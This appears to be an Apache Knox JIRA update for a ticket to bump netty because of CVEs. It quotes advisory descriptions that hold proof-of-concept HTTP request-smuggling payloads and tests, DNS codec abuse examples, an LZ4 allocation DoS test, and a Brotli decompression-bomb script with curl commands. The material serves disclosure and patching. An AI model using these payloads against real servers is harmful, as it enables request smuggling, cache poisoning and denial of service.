[ 
https://issues.apache.org/jira/browse/KNOX-3382?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
 ]

Sandor Molnar updated KNOX-3382:
--------------------------------
    Summary: Bump netty to 4.1.135.Final due to CVEs  (was: Bump netty to 
4.1.133.Final due to CVEs)

> Bump netty to 4.1.135.Final due to CVEs
> ---------------------------------------
>
>                 Key: KNOX-3382
>                 URL: https://issues.apache.org/jira/browse/KNOX-3382
>             Project: Apache Knox
>          Issue Type: Task
>    Affects Versions: 3.0.0
>            Reporter: Sandor Molnar
>            Assignee: Sandor Molnar
>            Priority: Major
>             Fix For: 3.0.0
>
>
> The netty dependencies have to be upgraded to 4.1.133.Final due to multiple 
> CVEs:
> {noformat}
> [
>   {
>     "cve_id": "CVE-2026-42579",
>     "severity": "CRITICAL",
>     "cvss": 9.1,
>     "description": "# Security Vulnerability Report: DNS Codec Input 
> Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability 
> Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| 
> **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| 
> **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| 
> **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null 
> Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| 
> **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of 
> Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the 
> encoder and decoder in the same file are affected:\n\n- 
> `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method 
> (lines 31-51):\n  - No null byte validation in domain name labels\n  - No 
> per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain 
> name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently 
> truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — 
> `decodeDomainName()` method (lines 53-118):\n  - No per-label length 
> validation (max 63)\n  - No total domain name length validation (max 255)\n  
> - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 
> 3. Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035 
> domain name constraints** during either encoding or decoding. This creates a 
> bidirectional attack surface: malicious DNS responses can exploit the 
> decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 
> Encoder Side — Null Byte Injection (CWE-626)\n\nA domain name containing a 
> null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte 
> embedded in the label data. This creates a domain name that different DNS 
> implementations interpret differently:\n\n- **Java (full string)**: sees 
> `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native 
> DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS 
> servers**: may accept or reject based on implementation\n\nThis differential 
> interpretation enables **DNS cache poisoning** and **domain validation 
> bypass**.\n\n### 3.2 Encoder Side — Overlength Label (RFC 1035 
> Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The 
> length byte is written as a single unsigned byte, so a 200-byte label writes 
> `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate 
> **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` 
> would be interpreted as a **compression pointer** by standards-compliant DNS 
> parsers\n- This creates **parser confusion** between label and pointer 
> interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty 
> Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] 
> 'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently 
> dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` 
> which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain 
> allowlists.\n\n### 3.4 Decoder Side — Unbounded Memory Allocation\n\nThe 
> decoder accepts labels of any length (0-255 bytes) without checking the RFC 
> 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. 
> A malicious DNS server can return responses with oversized labels, causing 
> excessive memory allocation.\n\n### Root Cause — Encoder\n\n```java\n// 
> DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf 
> buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        
> return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for 
> (String label : labels) {\n        final int labelLen = label.length();\n     
>    if (labelLen == 0) {\n            break;  // NO ERROR - silently 
> truncates!\n        }\n        // NO check: labelLen > 63\n        // NO 
> check: label contains null bytes\n        // NO check: total name > 255 
> bytes\n        buf.writeByte(labelLen);                    // Can write 
> values > 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null 
> bytes pass through!\n    }\n    buf.",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-dns",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 70,
>     "risk_level": "critical",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42581",
>     "severity": "CRITICAL",
>     "cvss": 9.8,
>     "description": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling 
> Sanitization\n\n| Field     | Value |\n|-----------|-------|\n| Library   | 
> `io.netty:netty-codec-http` |\n| Component | `codec-http` — 
> `HttpObjectDecoder` |\n| Severity  | **HIGH** |\n| Affects   | HEAD, commit 
> `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a 
> conflicting `Content-Length` header when a request carries both 
> `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 
> messages. The guard is absent for HTTP/1.0. An attacker that sends an 
> HTTP/1.0 request with both headers causes Netty to decode the body as chunked 
> while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any 
> downstream proxy or handler that trusts `Content-Length` over 
> `Transfer-Encoding` will disagree on message boundaries, enabling request 
> smuggling.\n\n---\n\n## Root Cause\n\n```java\n// 
> HttpObjectDecoder.java:828-833\nif 
> (HttpUtil.isTransferEncodingChunked(message)) {\n    this.chunked = true;\n   
>  if (!contentLengthFields.isEmpty() && message.protocolVersion() == 
> HttpVersion.HTTP_1_1) {\n        
> handleTransferEncodingChunkedWithContentLength(message);  // strips CL — 
> HTTP/1.1 only\n    }\n    return State.READ_CHUNK_SIZE;\n}\n\n// 
> HttpObjectDecoder.java:870-873\nprotected void 
> handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n    
> message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n    contentLength 
> = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on 
> `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request 
> declares `HTTP/1.0`, the condition is false, 
> `handleTransferEncodingChunkedWithContentLength` is never called, and the 
> `Content-Length` header survives into the forwarded message. Netty still 
> processes the body as chunked; a downstream component that is CL-first 
> interprets the same bytes as a separate request.\n\n---\n\n## Proof of 
> Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: 
> internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 
> 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes 
> the full chunked body (5 bytes + terminator). A downstream CL-first proxy 
> reads `Content-Length: 0`, considers the request complete at the blank line, 
> and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second 
> request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a 
> reverse proxy or load balancer that is `Content-Length`-first (nginx, some 
> HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 
> requests (either directly or by downgrading via connection manipulation).\n3. 
> No additional HTTP/1.0 stripping layer between attacker and 
> Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows 
> cache poisoning, session fixation against other users, unauthorized access to 
> internal endpoints, and bypassing of WAF or authentication layers that 
> inspect only the first logical request.\n\n---\n\n## Confirmed PoC 
> Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both 
> tests pass, confirming the vulnerability and the HTTP/1.1 
> contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport 
> io.netty.buffer.Unpooled;\nimport 
> io.netty.channel.embedded.EmbeddedChannel;\nimport 
> io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport 
> static org.junit.jupiter.api.Assertions.*;\n\npublic class 
> NettySmugglingSec001Test {\n\n    // VULNERABLE: Content-Length survives in 
> HTTP/1.0 TE+CL conflict\n    @Test\n    public void 
> http10_contentLengthNotStripped() {\n        EmbeddedChannel ch = new 
> EmbeddedChannel(new HttpRequestDecoder());\n        
> ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api 
> HTTP/1.0\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n  
>               \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n   
>              \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n 
>        HttpRequest req = ch.readInbound();\n        
> assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n        // 
> Content-Length: 0 survives — downstream CL-first proxy treats chunked b",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 70,
>     "risk_level": "critical",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42584",
>     "severity": "CRITICAL",
>     "cvss": 9.1,
>     "description": "### Summary\n If HttpClientCodec is configured, there are 
> use cases when a response body from one request, can be parsed as 
> another's.\n\n### Details\nHttpClientCodec pairs each inbound response with 
> an outbound request by `queue.poll()` once per response, including for `1xx`. 
> If the client pipelines GET then HEAD and the server sends 103, then 200 with 
> GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The 
> HEAD rule then skips reading that message’s body, so the GET entity bytes 
> stay on the stream and the following 200 is parsed from the wrong 
> offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- 
> The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() 
> {\n        EmbeddedChannel channel = new EmbeddedChannel(new 
> HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new 
> DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n     
>    ByteBuf request = channel.readOutbound();\n        request.release();\n    
>     assertNull(channel.readOutbound());\n\n        
> assertTrue(channel.writeOutbound(new 
> DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n    
>     request = channel.readOutbound();\n        request.release();\n        
> assertNull(channel.readOutbound());\n\n        String responseStr = 
> \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 
> OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 
> 200 OK\\r\\n\\r\\n\";\n        
> assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, 
> CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse 
> response = channel.readInbound();\n        
> assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        
> LastHttpContent last = channel.readInbound();\n        assertEquals(0, 
> last.content().readableBytes());\n        last.release();\n\n        // 
> Response 2\n        response = channel.readInbound();\n        
> assertEquals(HttpResponseStatus.OK, response.status());\n        last = 
> channel.readInbound();\n        assertEquals(0, 
> last.content().readableBytes());\n        last.release();\n\n        // 
> Response 3\n        FullHttpResponse response1 = channel.readInbound();\n     
>    assertTrue(response1.decoderResult().isFailure());\n        
> assertEquals(0, response1.content().readableBytes());\n        
> response1.release();\n\n        assertFalse(channel.finish());\n    
> }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that 
> connection, unsafe reuse of the socket.",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 70,
>     "risk_level": "critical",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-45674",
>     "severity": "CRITICAL",
>     "cvss": 10,
>     "description": "### Summary\nNetty's DnsResolveContext fails to validate 
> the origin (bailiwick) of CNAME records in DNS responses.\n\n### Details\nIn 
> `io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver 
> processes the ANSWER section of a DNS response and blindly caches all CNAME 
> records it finds.\n\nAccording to 
> https://datatracker.ietf.org/doc/html/rfc5452#section-6 \n\n```\nCare must be 
> taken to only accept\n   data if it is known that the originator is 
> authoritative for the\n   QNAME or a parent of the QNAME.\n   One very simple 
> way to achieve this is to only accept data if it is\n   part of the domain 
> for which the query was intended.\n```\n\n### Impact\nDNS Cache Poisoning 
> (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.",
>     "published_date": "2026-06-09",
>     "package": "netty-resolver-dns",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 70,
>     "risk_level": "critical",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-47691",
>     "severity": "CRITICAL",
>     "cvss": 10,
>     "description": "### Summary\nNetty's `DnsResolveContext` insufficiently 
> validates the bailiwick of NS records, enabling DNS Cache Poisoning. An 
> attacker controlling an authoritative name server for a subdomain can poison 
> the cache for parent domains (like `.co.uk`).\n\n### Details\nIn 
> `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` 
> method accepts any NS record from the AUTHORITY section as long as the 
> record's name is a suffix of the questionName.\n\nThis means if the resolver 
> queries evil.co.uk., it will accept an NS record claiming authority over 
> co.uk.. Subsequently, the `handleWithAdditional` method caches the associated 
> A records from the ADDITIONAL section directly into the 
> `authoritativeDnsServerCache` under the parent domain's key (co.uk.). This 
> bypasses standard bailiwick rules, where a server authoritative for a 
> subdomain should not be trusted to provide authoritative records for its 
> parent. The poisoned cache is then used for all future resolutions under 
> co.uk..\n\nThe 
> `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache` 
> method only prevents caching if the record is for the root zone (dots == 
> 1).\n\n### Impact\nDNS Cache Poisoning. Any application using Netty's DNS 
> resolver is impacted.",
>     "published_date": "2026-06-09",
>     "package": "netty-resolver-dns",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 70,
>     "risk_level": "critical",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42578",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "# Security Vulnerability Report: HTTP Header Injection 
> via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability 
> Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| 
> **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | 
> `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | 
> CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| 
> **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 
> Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | 
> `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | 
> **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- 
> `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method 
> (line 176) explicitly disables header validation via 
> `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty's 
> `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation 
> explicitly disabled**. The `newInitialMessage()` method (line 176) creates 
> headers using 
> `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds 
> user-provided `outboundHeaders` (line 188-190) without any CRLF validation. 
> This allows an attacker who can influence the outbound headers to inject 
> arbitrary HTTP headers into the CONNECT request sent to the proxy 
> server.\n\n### Root Cause\n\n```java\n// 
> HttpProxyHandler.java:176-190\nprotected Object 
> newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n 
>    HttpHeadersFactory headersFactory = 
> DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  
> // <-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new 
> DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n  
>       url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    
> req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization 
> != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, 
> authorization);\n    }\n\n    if (outboundHeaders != null) {\n        
> req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT 
> VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` 
> parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 
> 99-127), which is supplied by application code.\n\n### Incomplete Fix of 
> GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of 
> the previously acknowledged security advisory 
> [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe
>  GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI 
> validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and 
> enabling header validation by default through `DefaultHttpHeadersFactory`. 
> However, `HttpProxyHandler` **explicitly opts out** of the fix by calling 
> `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 
> fix's header validation is bypassed\n2. User-provided `outboundHeaders` are 
> added without any CRLF check\n3. The resulting CONNECT request contains 
> unvalidated headers on the wire\n\nThis is not a new vulnerability class — it 
> is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, 
> but `HttpProxyHandler` was missed during the remediation. The fix for 
> GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. 
> Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. 
> An application uses `HttpProxyHandler` with user-influenced 
> `outboundHeaders`\n2. The application does not perform its own CRLF 
> sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy 
> clients that forward user-specified custom headers\n- Web scraping frameworks 
> that allow users to set proxy headers\n- API gateways that pass user headers 
> through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy 
> Authentication Bypass\n\n```java\nHttpHeaders headers = new 
> DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // 
> userInput from attacker\nne",
>     "published_date": "2026-05-07",
>     "package": "netty-handler-proxy",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42583",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size 
> `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only 
> needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if 
> `compressedLength == 1` - to force that allocation.\n\n### 
> Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader 
> fields are trusted for sizing. On the compressed path, after `readableBytes 
> >= compressedLength`, the decoder does 
> `ctx.alloc().buffer(decompressedLength, decompressedLength)` then 
> decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 
> 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    
> void test() throws Exception {\n        EventLoopGroup workerGroup = new 
> MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n      
>       AtomicReference<Throwable> serverError = new AtomicReference<>();\n     
>        CountDownLatch latch = new CountDownLatch(1);\n\n            
> ServerBootstrap server = new ServerBootstrap()\n                    
> .group(workerGroup)\n                    
> .channel(NioServerSocketChannel.class)\n                    .childHandler(new 
> ChannelInitializer<SocketChannel>() {\n                        @Override\n    
>                     protected void initChannel(SocketChannel ch) {\n          
>                   ch.pipeline()\n                                    
> .addLast(new Lz4FrameDecoder())\n                                    
> .addLast(new ChannelInboundHandlerAdapter() {\n                               
>          @Override\n                                        public void 
> exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n               
>                              if (cause instanceof DecoderException) {\n       
>                                          serverError.set(cause.getCause());\n 
>                                            } else {\n                         
>                        serverError.set(cause);\n                              
>               }\n                                            
> latch.countDown();\n                                        }\n               
>                      });\n                        }\n                    
> });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n   
>          Bootstrap client = new Bootstrap()\n                    
> .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n   
>                  .handler(new ChannelInboundHandlerAdapter() {\n              
>           @Override\n                        public void 
> channelActive(ChannelHandlerContext ctx) {\n                            
> ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            
> buf.writeLong(MAGIC_NUMBER);\n                            
> buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            
> buf.writeIntLE(1);\n                            buf.writeIntLE(1 << 25);\n    
>                         buf.writeIntLE(0);\n                            
> buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n  
>                           ctx.fireChannelActive();\n                        
> }\n                    });\n\n            ChannelFuture clientChannel = 
> client.connect(serverChannel.channel().localAddress()).sync();\n\n            
> assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            
> assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n     
>        clientChannel.channel().close();\n            
> serverChannel.channel().close();\n        } finally {\n            
> workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### 
> Impact\nUntrusted senders without per-channel / aggregate limits can stress 
> memory with many small requests.",
>     "published_date": "2026-05-07",
>     "package": "netty-codec",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42585",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "### Summary\nNetty incorrectly parses malformed 
> Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty 
> incorrectly marks a request as chunked when malformed \"Transfer-Encoding: 
> chunked, identity\" is present.\nAccording to RFC 
> https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf
>  a Transfer-Encoding header field is present in a request and the chunked 
> transfer coding is not the final encoding,\n the message body length cannot 
> be determined reliably; the server MUST respond with the 400 (Bad Request)\n 
> status code and then close the connection.\n\"\n\nA possible scenario is when 
> Netty is behind a proxy that doesn't reject requests with 
> \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and 
> forwards the content to Netty.\n\n### PoC\nThe test below shows Netty 
> successfully parsing the second request, demonstrating how an attacker can 
> smuggle a second request inside a request body.\n\n```java\n@Test\n    public 
> void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n      
>           \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: 
> chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n 
>                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                
> \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n            
>     \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        
> EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    
>     assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, 
> CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request 
> = channel.readInbound();\n        
> assertTrue(request.decoderResult().isSuccess());\n        
> assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        
> assertFalse(request.headers().contains(\"Content-Length\"));\n        
> LastHttpContent last = channel.readInbound();\n        
> assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n    
>     // Request 2\n        request = channel.readInbound();\n        
> assertTrue(request.decoderResult().isSuccess());\n        last = 
> channel.readInbound();\n        
> assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    
> }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP 
> requests",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42587",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "## Summary\n\n`HttpContentDecompressor` accepts a 
> `maxAllocation` parameter to limit decompression buffer size and prevent 
> decompression bomb attacks. This limit is correctly enforced for gzip and 
> deflate encodings via `ZlibDecoder`, but is silently ignored when the content 
> encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the 
> configured decompression limit by sending a compressed payload with 
> `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded 
> memory allocation and out-of-memory denial of service.\n\nThe same 
> vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 
> connections.\n\n## Details\n\n`HttpContentDecompressor` stores the 
> `maxAllocation` value at construction time 
> (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to 
> create the appropriate decompression handler.\n\nFor gzip/deflate, 
> `maxAllocation` is forwarded to 
> `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// 
> HttpContentDecompressor.java:101 — maxAllocation IS 
> enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, 
> maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this 
> as a hard cap by setting the buffer's `maxCapacity` and throwing 
> `DecompressionException` when the limit is reached:\n\n```java\n// 
> ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn 
> ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), 
> maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new 
> DecompressionException(\"Decompression buffer has reached maximum size: \" + 
> buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are 
> created without any size limit:\n\n```java\n// 
> HttpContentDecompressor.java:120 — maxAllocation IGNORED\n.handlers(new 
> BrotliDecoder())\n\n// HttpContentDecompressor.java:129 — maxAllocation 
> IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// 
> HttpContentDecompressor.java:138 — maxAllocation IGNORED\n.handlers(new 
> ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at 
> all — there is no way to constrain its output. It streams decompressed data 
> in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` 
> defaults to a 4MB `maximumAllocationSize`, but this only constrains 
> individual buffer allocations, not total output. The decode loop 
> (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` 
> repeatedly, so total decompressed output is unbounded.\n\nThe identical 
> pattern exists in 
> `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 
> 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with 
> decompression bomb protection:\n\n```java\npipeline.addLast(new 
> HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new 
> HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a 
> brotli-compressed bomb (~1KB compressed → 1GB 
> decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 * 
> 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith 
> open('bomb.br', 'wb') as f:\n    f.write(compressed)\n# compressed size: 
> ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by 
> maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB 
> limit\ncurl -X POST http://target:8080/api \\\n  -H 'Content-Encoding: gzip' 
> \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 
> 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES 
> maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no 
> maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H 
> 'Content-Encoding: br' \\\n  --data-binary @bomb.br\n# Result: Full 1GB 
> decompressed into memory → OOM\n```\n\n5. The same bypass works with 
> `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- 
> **Denial of Service**: An attacker can cause out-of-memory conditions on any 
> Netty server that relies on `maxAllocation` for decompression bomb 
> protection, by simply using a non-gzip content encoding.\n- **False sense of 
> security**: Developers who explicitly configure `maxAllocation` t",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-http2",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42587",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "## Summary\n\n`HttpContentDecompressor` accepts a 
> `maxAllocation` parameter to limit decompression buffer size and prevent 
